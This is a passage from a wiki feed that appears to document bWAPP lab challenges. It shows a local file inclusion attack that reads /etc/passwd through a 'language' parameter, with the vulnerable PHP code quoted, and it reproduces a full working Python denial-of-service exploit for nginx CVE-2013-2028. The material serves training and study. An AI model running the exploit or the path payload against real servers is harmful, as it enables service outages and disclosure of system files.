Into the &amp;quot;language&amp;quot; attribute, we can now try inserting a path to a file we would like to extract. For example &amp;lt;b&amp;gt;/etc/passwd&amp;lt;/b&amp;gt;. Each security level again offers different options, as are specified in the code snippet below:&lt;br /&gt;
 $language = &amp;quot;&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 if(isset($_GET[&amp;quot;language&amp;quot;]))&lt;br /&gt;
 {&lt;br /&gt;
    switch($_COOKIE[&amp;quot;security_level&amp;quot;])&lt;br /&gt;
    {&lt;br /&gt;
        case &amp;quot;0&amp;quot; :&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;];&lt;br /&gt;
            break;&lt;br /&gt;
 &lt;br /&gt;
        case &amp;quot;1&amp;quot; :&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;] . &amp;quot;.php&amp;quot;;&lt;br /&gt;
            break;&lt;br /&gt;
 &lt;br /&gt;
        case &amp;quot;2&amp;quot; :&lt;br /&gt;
            $available_languages = array(&amp;quot;lang_en.php&amp;quot;, &amp;quot;lang_fr.php&amp;quot;, &amp;quot;lang_nl.php&amp;quot;);&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;] . &amp;quot;.php&amp;quot;;&lt;br /&gt;
            // $language = rlfi_check_1($language);&lt;br /&gt;
            break;&lt;br /&gt;
 &lt;br /&gt;
        default :&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;];         &lt;br /&gt;
            break;&lt;br /&gt;
    }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp9.png|thumb|none|500px|inserting a path to the &amp;lt;b&amp;gt;passwd&amp;lt;/b&amp;gt; file]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;In the lowest security level, the user input is passed with no sanitization to the backend, allowing the insertion of a file path.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp10.png|thumb|none|500px|inserting a path to the &amp;lt;b&amp;gt;passwd&amp;lt;/b&amp;gt; file in medium security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;The medium security level specifies, that the user input is concatenated with &amp;quot;.php&amp;quot; so that only actual PHP files are searched for. This is because the language files in question are &amp;lt;i&amp;gt;&amp;quot;lang_en.php&amp;quot;, &amp;quot;lang_fr.php&amp;quot;, &amp;quot;lang_nl.php&amp;quot;&amp;lt;/i&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp11.png|thumb|none|500px|inserting a path to the &amp;lt;b&amp;gt;passwd&amp;lt;/b&amp;gt; file in highest security level - &amp;lt;b&amp;gt;NO BREACH&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;The highest security level specifies an array of allowed files, and the input must be one of them. If it is not, nothing is returned. The files in question are &amp;lt;i&amp;gt;&amp;quot;lang_en.php&amp;quot;, &amp;quot;lang_fr.php&amp;quot;, &amp;quot;lang_nl.php&amp;quot;&amp;lt;/i&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== DoS-Attack (Large Chunk Size) ==&lt;br /&gt;
&lt;br /&gt;
The DoS-Attack with a large chunk size is a application layer attack. The website offers to download a python script, which can be run by additionally entering the targets IP-address and port number.&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:bWAPP_DoS_Large_Chunk_Size.jpg|thumb|none|500px|if you click on &amp;lt;b&amp;gt; here &amp;lt;/b&amp;gt; the python file will be downloading]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The script sends a request to the web-server with a huge chunk size for the server to breaking down. This causes the server to shut down while processing it. &lt;br /&gt;
&lt;br /&gt;
 # Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)&lt;br /&gt;
 # Date: 16.05.2013&lt;br /&gt;
 # Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com&lt;br /&gt;
 # Minor customizations by Malik Mesellem (@MME_IT)&lt;br /&gt;
 # Vendor Homepage: http://nginx.org/&lt;br /&gt;
 # Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz&lt;br /&gt;
 # Version: 1.3.9-1.4.0&lt;br /&gt;
 # Tested on: Kali Linux &amp;amp; Windows XP (nginx v1.4.0)&lt;br /&gt;
 # CVE : CVE-2013-2028&lt;br /&gt;
 import httplib&lt;br /&gt;
 import time&lt;br /&gt;
 import socket&lt;br /&gt;
 import sys&lt;br /&gt;
 import os&lt;br /&gt;
 # Vars &amp;amp; Defs&lt;br /&gt;
 debug = 0&lt;br /&gt;
 dos_packet = 0xFFFFFFFFFFFFFFEC&lt;br /&gt;
 socket.setdefaulttimeout(1)&lt;br /&gt;
 packet = 0&lt;br /&gt;
 def chunk(data, chunk_size):&lt;br /&gt;
    chunked = &amp;quot;&amp;quot;&lt;br /&gt;
    chunked += &amp;quot;%s\r\n&amp;quot; % (chunk_size)&lt;br /&gt;
    chunked += &amp;quot;%s\r\n&amp;quot; % (data)&lt;br /&gt;
    chunked += &amp;quot;0\r\n\r\n&amp;quot;&lt;br /&gt;
    return chunked&lt;br /&gt;
 if sys.platform == &#039;linux-i386&#039; or sys.platform == &#039;linux2&#039;:&lt;br /&gt;
        os.system(&amp;quot;clear&amp;quot;)&lt;br /&gt;
 elif sys.platform == &#039;win32&#039;:&lt;br /&gt;
        os.system(&amp;quot;cls&amp;quot;)&lt;br /&gt;
 else:&lt;br /&gt;
        os.system(&amp;quot;cls&amp;quot;)              &lt;br /&gt;
 print &amp;quot;======================================================================&amp;quot;&lt;br /&gt;
 print u&amp;quot;nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]&amp;quot;&lt;br /&gt;
 print &amp;quot;======================================================================&amp;quot;&lt;br /&gt;
 if len(sys.argv) &amp;lt; 2:&lt;br /&gt;
        print &amp;quot;Usage: python nginx_dos.py [target ip:port]\n&amp;quot;&lt;br /&gt;
        print &amp;quot;Example: python nginx_dos.py 127.0.0.1:8080\n&amp;quot;&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
 else:&lt;br /&gt;
    host = sys.argv[1].lower()     &lt;br /&gt;
 while packet &amp;lt;= 66:&lt;br /&gt;
    body = &amp;quot;beezzzzzzzzzz&amp;quot;&lt;br /&gt;
    chunk_size = hex(dos_packet + 1)[3:]&lt;br /&gt;
    chunk_size = (&amp;quot;F&amp;quot; + chunk_size[:len(chunk_size)-1]).upper()&lt;br /&gt;
    if debug:&lt;br /&gt;
        print &amp;quot;data length:&amp;quot;, len(body), &amp;quot;chunk size:&amp;quot;, chunk_size[:len(chunk_size)]&lt;br /&gt;
    try:&lt;br /&gt;
        con = httplib.HTTPConnection(host)&lt;br /&gt;
        url = &amp;quot;/bWAPP/portal.php&amp;quot;&lt;br /&gt;
        con.putrequest(&#039;POST&#039;, url)&lt;br /&gt;
        con.putheader(&#039;User-Agent&#039;, &#039;bWAPP&#039;)&lt;br /&gt;
        con.putheader(&#039;Accept&#039;, &#039;*/*&#039;)&lt;br /&gt;
        con.putheader(&#039;Transfer-Encoding&#039;, &#039;chunked&#039;)&lt;br /&gt;
        con.putheader(&#039;Content-Type&#039;, &#039;application/x-www-form-urlencoded&#039;)&lt;br /&gt;
        con.endheaders()&lt;br /&gt;
        con.send(chunk(body, chunk_size[:len(chunk_size)]))&lt;br /&gt;
    except:&lt;br /&gt;
        print &amp;quot;Connection error!&amp;quot;&lt;br /&gt;
        sys.exit(1)       &lt;br /&gt;
    try:&lt;br /&gt;
        resp = con.getresponse()&lt;br /&gt;
        print(resp.status, resp.reason)&lt;br /&gt;
    except:&lt;br /&gt;
        print &amp;quot;[*] Knock knock, is anybody there ? (&amp;quot; + str(packet) + &amp;quot;/66)&amp;quot;&lt;br /&gt;
    packet = packet + 1   &lt;br /&gt;
    con.close()&lt;br /&gt;
 print &amp;quot;[+] Done!&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The exploit relies on the HTTP-protocol version 1.1, to not recognize the transformed packet. The different difficulties do not apply to this challenge, because there is only one script provided.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SWeisser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:BWAPP_DoS_Large_Chunk_Size.jpg&amp;diff=17587</id>
		<title>File:BWAPP DoS Large Chunk Size.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:BWAPP_DoS_Large_Chunk_Size.jpg&amp;diff=17587"/>
		<updated>2024-12-18T18:33:30Z</updated>

		<summary type="html">&lt;p&gt;SWeisser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>SWeisser</name></author>
	</entry>
</feed>